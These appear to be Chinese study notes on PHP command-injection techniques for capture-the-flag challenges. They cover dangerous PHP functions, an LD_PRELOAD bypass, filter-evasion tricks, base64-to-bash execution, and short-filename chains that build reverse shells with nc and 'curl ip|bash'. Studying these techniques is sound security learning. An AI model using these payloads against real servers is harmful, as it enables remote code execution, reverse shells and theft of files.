php命令执行
命令执行危险函数认识
-
system()
- 执行外部程序 并且显示输出
-
exec(string $command,array $output【可选】)
- 执行外部程序 将输出储存到数组$output里
-
passthru()
- 执行外部程序 并且显示原始输出
-
shell_exec()
- 通过shell环境执行命令,并且将完整的输出以字符串的形式返回,但这个返回不是返回到页面上 而是比如说$output = shell_exec(ls)
- 要通过 echo $output 才能输出到页面上
-
popen($cmd,'r')
$ben = popen($cmd,'r');
while($s=fgets($ben)){
print_r($s);
}
- popen函数打开了一个进程文件指针 执行了$cmd
- 然后通过fgets函数逐行读取他的输出
- 然后将输出通过print_r输出到页面
-
proc_open()
-
$cmd = $_GET["cmd"]; // 通过 GET 请求获取命令
$array = array(
array("pipe", "r"), // 标准输入
array("pipe", "w"), // 标准输出内容
array("file", "/tmp/error-output.txt", "a") // 标准输出错误
);$fp = proc_open($cmd, $array, $pipes); // 打开一个进程通道
echo stream_get_contents($pipes[1]); // 输出命令的标准输出内容
proc_close($fp); // 关闭进程通道 -
上面的数组是标准的写法 分别是输入 输出 报错内容
-
下面 是打开一个进程通道 执行传递的命令 并且返回一个资源指针$fp和一个文件指针数组$pipes
-
最后通过stream_get_contents读取输出
-
然后用echo输出 最后关闭进程通道
-
-
反引号
- 反引号能直接执行命令
- 比如
$cmd
- 不过需要echo才能输出到页面
-
pcntl_exec
- 这个函数是php中的一个扩展函数
- $binary=""//可执行文件的路径
- $args=["""""]//参照数组
- pcntl_exec($binary,$args);
- echo"xx";
- 这个函数的功能是 用于替换当前进程的映象 并且执行新的程序
- 所以如果他执行成功 就不会有echo 失败的话 echo就会继续执行
- 新的进程就是调用的那个文件和参数数组
LD_PRELOAD绕过原理介绍
- mail 函数
- 内嵌在php里
- 先vim demo.php
- 里面写入mail(",",",")
- 然后用strace -o 1.txt -f php demo.php
- 这一句是用文档的形式记录我php demo.php 执行的内容
- 然后用cat 1.txt | grep execve
- 这一句是 检查有哪些是执行文件被调用里
- 发现里面有sendmail这个文件
- 使用readelf -Ws /usr/sbin/sendmail
- 然后发现一个 geteuid 函数
- 这个时候我们编辑一个库文件 demo.c
- void payload(){
- system("echo 'xx' ")
- }
- int geteuid(){
- unsetenv("LD_PRELOAD");
- payload();
- } 然后把这个文件编译成.so文件 生成动态链接库文件
- gcc -shared -fPIC demo.c -o demo.so
- 然后把一开始那个demo.php在开头加上一行
- putenv("LD_PRELOAD=./demo.so");
- 表示执行前先加载这个库文件
- 绕过条件
- 能够上传自己的.so文件
- 能够设置LD_PRELOAD变量的值,比如putenv函数并且未被禁止
- 存在可以控制php启动外部程序的函数并且能够执行
- 因为新的进程会加载LD_PRELOAD中的.so文件
- 比如mail()等
- imagick
- 需要扩展安装
操作系统连接符
- ;
- 用分号链接 前后都能执行 而且前面命令正确与否都不影响后面命令的执行
- &
- 提交后必须要url编码
- 而且前面命令不影响后面的执行
- 两个$
- 如果前面的命令执行成功,才能执行后面的
- 如果前面不成功,则两条都无法执行
- |
- 把前面命令的结果 作为 | 后面命令的参数
- 然后执行后面的命令
- ||
- 类似于if else语句
- 如果前面的命令执行成功,则后面的命令不再执行
- 反之执行后面的命令
空格过滤
- 大括号{}
- {cat,flag.txt} 第一个作为命令,第二个作为参数
- 使用$IFS ${IFS} $IFS$9
- 重定向字符<,<>;
- <表示的是输入重定向的意思,就是把<后面的文件取代键盘成为新的输入设备
- %09 TAB %20 SPACE
- 在正则匹配使用^等方法只匹配一行的情况下 可以先用%0a换行 然后再执行某些被过滤的命令
文件名过滤绕过
- ?代表单个字符,前提是这个字符要存在
- 比如flag.php 可以写成????.???
- *代表任意字符
- 比如f*.php *
- 单双引号
- 比如fla""g.p""hp 或者fla''g.p''hp
- \ 反斜线
- 比如 fla\g.ph\p
- \在Linux里是命令连接符
- 特殊变量
- 比如$1到$9、$@和$*等
- 因为他们的输出都为空
- 内联执行
- 定义变量 比如$a=f;
- 然后cat $alag.php
- 环境变量
- ${PATH:5:1}\
- 意思是使用环境变量PATH里的第五个字符里的第一位
- 从0开始数
文件读取命令的绕过
- tac 反向显示
- more 一页一页显示 在linux里按空格翻页
- less 与more 相似
- tail 查看末尾几行 最多十行
- nl 显示的时候 顺便输出行号
- od 二进制的方式读取
- xxd 读取二进制文件
- sort 主要用来排序文件
- uniq 报告或删除文件中重复的行
- file -f 报错出具体内容
- grep
- grep 搜索的字符 匹配的文件
- grep { fla*.php
编码绕过
- base64编码
- echo base64编码后的字符串 | base64 -d | /bin/bash 最后一项有很多能用的 比如直接bash 或者sh
- base32编码
-HEX编码 即ASCII编码
-echo 编码后字符串 | xxd -r -p | /bin/bash - shellcode编码
- shellcode是ASCII编码用/x来表示
- 这里用printf替代echo即可
无回显时间盲注
- sleep 3
- 表示三秒之后再执行
- awk NR==1
- 表示返回第一行的结果
- cut -c 1
- 表示返回第一个字符的结果
- if语句
- if [];then ;fi
- 表示[]里面是判断 ,如果真就执行then后面的语句 假就fi 注意if和[]中间要用空格隔开
if [$(cat flag | awk NR==1 | cut -c 1)==a];then echo "right";fi
- 可以用python写一个脚本跑值 类似于sql盲注的思路
长度过滤绕过前置知识
- >
- 例如 echo dada > a
- 就会把dada写到a里面 如果还是一个大于号写入值 就会覆盖原有的内容 可以用两个大于号去新增内容
- 使用>>追加内容
- 使用/进行命令换行 上面提到过 就是命令链接的作用
- ls-t
- 表示先近后远的按照时间来排序
- 但要注意不能复制粘贴 一下生成几个文件 这样用时间排序是会出错的
- 可以利用>写很多个文件 只有名字那种 然后用ls -t 会发现 结果是一个有用的排序 比如 cat \ flag这种形式 中间可以多用几个\链接 然后把这个ls -t的结果>某个文件里 然后. 这个文件 就可以执行了
- 然后就能读出flag的值里
- sh执行 或者. 执行是一样的
- dir *
- 把第一个文件的文件名作为命令 第二个或者后面的作为参数 来执行
- 比如说 cat 然后 flag.php
- rev 可以反过来显示文件的内容
- 123 显示成 321
长度为7的绕过方法
- 先构造期望执行的指令
- cat flag|nc ip 端口号
- 思路
- 利用 > 创造很短的文件名
- ls -t 按照时间排序列出文件名,按行存储
- \连接换行命令
- sh从文件中读取命令
- 具体内容
-
ca\
-
t\ \
-
flag\
-
|n\
-
c\ \
- ip
- 端口
- 注意文件名不能重复
- ls -t>a
- sh a即可反弹shell
- 也可以写Python脚本执行
长度为5的绕过
- 期望执行指令
- curl ip|bash
- 利用这个 在这个ip的index.html下写好nc ip 端口 -e /bin/bash
- 第一步 构造ls -t>y
-
ls\
- 再创建文件 ls>_
-
\ \
-
-t\
-
>y
- 然后ls>>_
- sh _即可实现ls -t
- 然后再把期待执行的指令给写进去 先不用sh _
- 全写完再执行 sh _ sh y
长度为4的绕过
-
这里新的问题是 追加到_用不了了
-
仍要先构造ls -t>g
-
这里用到dir 和rev 一个是一行内展示文件 另一个是倒序
-
先构造ls -t>g
-
g>
-
t-
-
sl
-
dir
-
在-t后面加h,不影响命令执行 但可以改变顺序
-
如果敲一个*号
-
就会执行第一个文件名的命令 把后面的当做参数
-
因为第一个是dir 所以就是dir 列出后面的文件名
-
*>v 这样v就是那些排序
-
这时候rev v 就能把v倒序排列
-
rev 可以用 * 代替
-
所以 牛逼的就是 *v>x
-
注意点 为了防止g后面有其他文件名影响 可以多创建一个文件 g;
-
然后构造反弹shell 和上面一样是curl ip|bash 不过ip要用16进制来写
-
利用文件包含漏洞
-
先是c=include%0a$_GET[1]?>&1=/etc/passwd
-
表示包含一个参数1 然后对1进行定义 这里因为分号被过滤 不过最后一个分号不用写 然后1的包含 如果是flag无法输出 所以用php一个伪协议 然后base64 decode 就行
-
include 可以用 require 代替
-
?c=data://text/plain,
- data为协议
无参数命令执行请求头绕过
-
php7.3
-
条件是一个正则表达式 过滤掉所有的 a() 形式 以及R表示递归 所以a(b())等等都会被过滤 但例题中要求过滤完只剩下一个分号 所以我们的payload就只能是这种形式 所以叫做无参数
-
getallheaders()这个函数是获得所有的http请求头的内容 不过需要print_r 才能打印到页面
-
可以使用bp 更方便改包发包
-
注意点 我们bp里拦截下来的请求头的值 和 print_r打印到页面里的顺序是相反的
-
所以我们可以修改某个项的内容 来进行命令执行
-
pos()函数 把第一项的内容显示出来
-
end() 和pos相反
-
比如我们可以把最后一项 的值 改成 system('ls');
-
然后eval(pos(getallheaders()))
-
还有一个 apache_request_header 作用和getallheaders相似 不过只能在Apache使用
无参数命令执行之全局变量RCE
- PHP5/7
- get_defined_vars() 返回所有已定义变量的值所组成的数组
- 返回数组的顺序是 GET->POST->COOKIE->FILES
- pos end 仍然可以用
- 还能用&加上别的指令 比如&cmd=system('ls');
- 而且实际上这样写进去是分成两行的 所以能用end 取出第二个 就是cmd的值
- eval同样能用 还有assert
- python脚本
无参数命令执行之sessionRCE
- php5
- session_start() 启动新会话或者重用现有回话 返回值只有1或者0
- session_id(session_start) 这样请求头的cookie里面就要sessionid这一项里 而且值很长 对方也能接收到
- 所以例题里面 get传参就写 session_id(session_start()) 然后bp拦截 修改cookie里sessionid的值就行
- print_r修改为show_source()
- sessionid改为./flag 配合上一行 就能读取值了
- 如果是eval的话 里面phpsessionid的值就要用hex编码变成16进制
- 外面再用hex2bin()函数转换成2进制 然后eval执行
无参数命令执行之scandir读取
- scandir()
- 列出指定路径中的文件和目录
- 类似ls
- getcwd()
- 取得当前工作目录
- 类似pwd
- current()
- 返回数组中的当前值
- 好像就是第一个值
- array_reverse()
- 返回顺序相反的数组
- array_filp()
- 把键值对互换
- next()
- 将数组中的内部指针向前移动
- array_rand()
- 从数组中随机取出一个或者多个键
- chdir()
- 和cd类似 用于改变当前工作目录
- strrev()
- 用于反转给定的字符串
- crypt()
- 用来加密
- hebrevc()
- 转换流的方向
- localeconv()
- 显示的数组第一项是.
- 所以可以利用这个函数 加上current scandir print_r 读取当前目录下的文件名
- show_source current 加上上面的 就能查看文件里
- 查看上级目录的文件
- dirname(getcwd()) 显示上一级目录路径
- 但是我们需要使用chdir来修改执行目录
- chidir(dirname(getcwd()))
- 这里getcwd是用来获取当前工作目录的路径
- dirname是用来提取给定路径的目录部分,也就是上一级的路径
- chidir函数用于改变当前工作目录到指定的目录
- 也就是说改变命令执行的路径
- 根目录
- 用serialize(array())序列化一个数组
- 然后crypt加密
- strrev倒序 如果倒序后第一个是斜杆 可以chr ord 互转 因为他们只对第一个字符起作用 所以只剩一个字符
- 就有可能获取到斜杆
- 可以利用bp爆破 获取某个特定文件内容 不过还需要多研究